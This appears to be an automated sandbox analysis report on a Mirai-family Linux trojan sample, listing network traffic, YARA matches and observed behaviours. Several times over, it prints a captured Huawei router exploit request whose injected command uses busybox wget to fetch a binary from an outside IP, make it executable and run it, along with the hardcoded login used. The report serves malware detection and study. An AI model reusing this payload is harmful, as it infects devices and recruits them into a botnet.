xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: global traffic

TCP traffic: 192.168.2.13:48202 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 197.222.128.96
Source: unknown	TCP traffic detected without corresponding DNS query: 122.187.247.33
Source: unknown	TCP traffic detected without corresponding DNS query: 197.46.205.250
Source: unknown	TCP traffic detected without corresponding DNS query: 197.187.150.58
Source: unknown	TCP traffic detected without corresponding DNS query: 197.148.142.23
Source: unknown	TCP traffic detected without corresponding DNS query: 121.231.132.178
Source: unknown	TCP traffic detected without corresponding DNS query: 197.194.207.53
Source: unknown	TCP traffic detected without corresponding DNS query: 197.170.150.84
Source: unknown	TCP traffic detected without corresponding DNS query: 41.70.205.133
Source: unknown	TCP traffic detected without corresponding DNS query: 138.148.124.62
Source: unknown	TCP traffic detected without corresponding DNS query: 157.152.8.30
Source: unknown	TCP traffic detected without corresponding DNS query: 41.42.123.252
Source: unknown	TCP traffic detected without corresponding DNS query: 107.171.125.109
Source: unknown	TCP traffic detected without corresponding DNS query: 121.23.83.154
Source: unknown	TCP traffic detected without corresponding DNS query: 156.26.86.208
Source: unknown	TCP traffic detected without corresponding DNS query: 41.84.144.223
Source: unknown	TCP traffic detected without corresponding DNS query: 197.186.129.163
Source: unknown	TCP traffic detected without corresponding DNS query: 41.35.169.255
Source: unknown	TCP traffic detected without corresponding DNS query: 196.232.153.111
Source: unknown	TCP traffic detected without corresponding DNS query: 197.86.224.143
Source: unknown	TCP traffic detected without corresponding DNS query: 41.39.152.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.115.136.49
Source: unknown	TCP traffic detected without corresponding DNS query: 41.35.93.128
Source: unknown	TCP traffic detected without corresponding DNS query: 197.161.23.233
Source: unknown	TCP traffic detected without corresponding DNS query: 197.252.105.126
Source: unknown	TCP traffic detected without corresponding DNS query: 92.113.236.54
Source: unknown	TCP traffic detected without corresponding DNS query: 41.203.90.241
Source: unknown	TCP traffic detected without corresponding DNS query: 41.240.218.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.89.60.233
Source: unknown	TCP traffic detected without corresponding DNS query: 156.208.213.154
Source: unknown	TCP traffic detected without corresponding DNS query: 156.44.22.179
Source: unknown	TCP traffic detected without corresponding DNS query: 41.48.99.54
Source: unknown	TCP traffic detected without corresponding DNS query: 197.234.151.160
Source: unknown	TCP traffic detected without corresponding DNS query: 41.236.70.138
Source: unknown	TCP traffic detected without corresponding DNS query: 156.182.18.151
Source: unknown	TCP traffic detected without corresponding DNS query: 156.132.195.149
Source: unknown	TCP traffic detected without corresponding DNS query: 181.114.129.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.120.86.134
Source: unknown	TCP traffic detected without corresponding DNS query: 157.234.30.218
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.148.103
Source: unknown	TCP traffic detected without corresponding DNS query: 45.190.198.106
Source: unknown	TCP traffic detected without corresponding DNS query: 41.163.222.248
Source: unknown	TCP traffic detected without corresponding DNS query: 190.44.226.254
Source: unknown	TCP traffic detected without corresponding DNS query: 197.111.151.200
Source: unknown	TCP traffic detected without corresponding DNS query: 197.84.44.110
Source: unknown	TCP traffic detected without corresponding DNS query: 156.166.137.81
Source: unknown	TCP traffic detected without corresponding DNS query: 41.61.160.132
Source: unknown	TCP traffic detected without corresponding DNS query: 156.18.245.206
Source: unknown	TCP traffic detected without corresponding DNS query: 41.185.25.73
Source: unknown	TCP traffic detected without corresponding DNS query: 41.202.197.18

Source: unknown

DNS traffic detected: queries for: asdsdfjsdfsd.indy

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: telx86.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: telx86.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown

Network traffic detected: HTTP traffic on port 48202 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: telx86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: telx86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: telx86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: telx86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: telx86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 5419.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 5419.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5419.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 5419.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5419.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: telx86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: telx86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: telx86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: telx86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: telx86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 5419.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 5419.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5419.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 5419.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 5419.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26

Source: classification engine

Classification label: mal100.troj.linELF@0/0@11/0

Persistence and Installation Behavior

Sample reads /proc/mounts (often used for finding a writable filesystem)

Source: /tmp/telx86.elf (PID: 5420)

File: /proc/5420/mounts

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 38940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 46160
Source: unknown	Network traffic detected: HTTP traffic on port 38940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51108 -> 37215
